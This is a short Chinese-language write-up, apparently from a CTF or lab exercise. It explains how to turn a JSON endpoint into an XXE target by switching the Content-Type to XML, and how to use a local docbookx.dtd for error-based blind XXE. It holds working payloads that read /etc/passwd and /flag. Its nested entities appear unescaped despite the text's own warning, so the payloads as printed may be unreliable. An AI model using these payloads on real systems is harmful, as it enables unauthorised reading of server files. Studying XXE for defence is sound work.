XXE新知识
当Web应用采用JSON进行数据传输时,可能存在XXE漏洞。
抓包发现包类是以JSON发送的
联想到json转换为xxe进行文件读取,修改HTTP头Content-type的值为application/xml,重放数据包之后发现报不解析错误
确认存在
把json转换为xxe格式,发现报错说缺少DTD
百度后发现一篇文章:使用本地DTD文件来利用XXE漏洞实现任意结果输出
ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd
文件
Blind XXE 需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以 % 为标志定义,定义和使用方法如下
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b "hello"> //内部普通实体
<!ENTITY b SYSTEM "http://xml.org/hhh.dtd"> //外部普通实体
<!ENTITY % para SYSTEM "file:///1234.dtd"> //外部参数实体
%para;
]>
<c>&b;</c>
而且参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体 % 需要进行HTML转义,否则会出现解析错误
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % para '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>
最终payload:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file;'>">
%eval;
%error;
'>
%local_dtd;
]>